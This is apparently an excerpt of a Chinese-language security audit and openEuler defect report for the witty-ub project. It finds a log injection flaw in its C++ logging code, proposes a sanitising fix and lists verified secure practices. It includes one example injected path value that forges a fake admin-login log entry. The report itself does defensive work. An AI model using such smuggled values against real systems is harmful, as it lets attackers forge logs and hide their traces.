src/framework/com/http/rack_http_server.cpp:209、src/log/log_collector.cpp:419,469,839、src/log/log_reader.cpp:209问题代码:
// src/framework/com/http/rack_http_server.cpp:209 LOG_INFO << "Receive request, url: " << req.path << "method: " << req.method; // src/log/log_collector.cpp:841-842 LOG_ERROR << "invalid pod-id: " << podId << ", unexpected character: " << ch; // src/log/log_collector.cpp:419 LOG_ERROR << "logic error: start-time (" << startTimeStr << ") is later than end-time (" << endTimeStr << ")";问题分析:多处将用户可控输入(HTTP 请求 path、pod-id、start-time/end-time 字符串)直接拼入日志输出,未对换行符
\n、回车\r、终端转义序列做转义。攻击者提交含\n的 path 或时间串(如path = "/api\n[FAKE] 2026-01-01 Admin logged in"),可在日志中伪造条目,干扰日志分析或掩盖攻击痕迹(日志注入)。logger.h的LOG_INFO等宏未做输出净化。项目 AGENTS.md 要求"避免 printk spam、使用合适日志级别",但未要求转义。修复建议:在日志输出前对用户输入做最小转义(至少替换
\n→\\n、\r→\\r):inline std::string SanitizeForLog(const std::string &s) { std::string out; out.reserve(s.size()); for (char c : s) { if (c == '\n') out += "\\n"; else if (c == '\r') out += "\\r"; else if (c == '\t') out += "\\t"; else out += c; } return out; } // 使用 LOG_INFO << "Receive request, url: " << SanitizeForLog(req.path) << " method: " << req.method;四、已验证的安全实践(正面发现)
为客观反映项目安全水位,下列经审计确认的良好实践予以记录:
src/brpc_diag_tool/diagnosis_module.cpp:35-44IsValidDiagnosisTaskId仅允许[a-zA-Z0-9-_]且长度 ≤128,阻断文件名注入src/brpc_diag_tool/diagnosis_result.cpp:97-120mkstemp+fchmod 0644+fsync+ 原子rename,防 race 与不安全临时文件src/diagnosis_tool/diagnosis_engine.cpp:79-128WUBDIAG1+ version +MAX_CACHED_STRING_SIZE(16MB) 上限,防恶意缓存src/diagnosis_tool/diagnosis_tool_module.cpp:82-83status.st_size与size_t::max比较后再转换,防整数溢出src/diagnosis_tool/diagnosis_engine.cpp:93-113WriteBinary/ReadBinary用static_assert(is_trivially_copyable)+ 固定sizeof(T),无溢出src/log/log_collector.cpp:832-914IsValidPodId(白名单)、IsValidPath(绝对+存在)、IsValidEid(8段4字符)、IsValidJettyId(数字)src/log/log_reader.cpp:48-60ShellEscapeSingleQuotes将'替换为'\''(但路径未转义,见发现 1)src/log/log_view.cpp:35、src/plugins/urma/urma_topology.cpp:206chmod 0640,禁止 other 读src/plugins/latency/task/worker/*.pysubprocess.run/Popen均用列表参数,无shell=Truesrc/plugins/latency/database/managers/*.pytext()配合:param绑定;ORMwhere()用模型属性;set_clauses经hasattr白名单deploy/host/deploy.sh、deploy/rpm/libexec/*.shsrc/diagnosis_tool/diagnosis_tool_module.cpp:204-208re2::RE2::FullMatch严格校验yyyy-mm-dd hh:mm:ss【缺陷所属的os版本】
24.03-LTS-next
【内核版本】
kernel6.6
【缺陷所属软件及版本号】
witty-ub
【环境信息】
【问题复现步骤】
【实际结果】
【期望结果】
【其他相关附件信息】
【缺陷详情及分析指导参考链接】
二、缺陷分析结构反馈
影响性分析说明:
存在命令注入、SQL注入、明文口令等致命性问题
缺陷严重等级:(Critical/High/Moderate/Low)
Critical
缺陷根因说明:
开发时引入不安全行为
受影响版本排查(受影响/不受影响):
openEuler-20.03-LTS-SP4:不受影响
openEuler-22.03-LTS-SP4:不受影响
openEuler-24.03-LTS-SP1:不受影响
openEuler-24.03-LTS-SP3:受影响
openEuler-24.03-LTS-SP4:受影响
修复是否涉及abi变化(是/否):
openEuler-20.03-LTS-SP4:否
openEuler-22.03-LTS-SP4:否
openEuler-24.03-LTS-SP1:否
openEuler-24.03-LTS-SP3:否
openEuler-24.03-LTS-SP4:否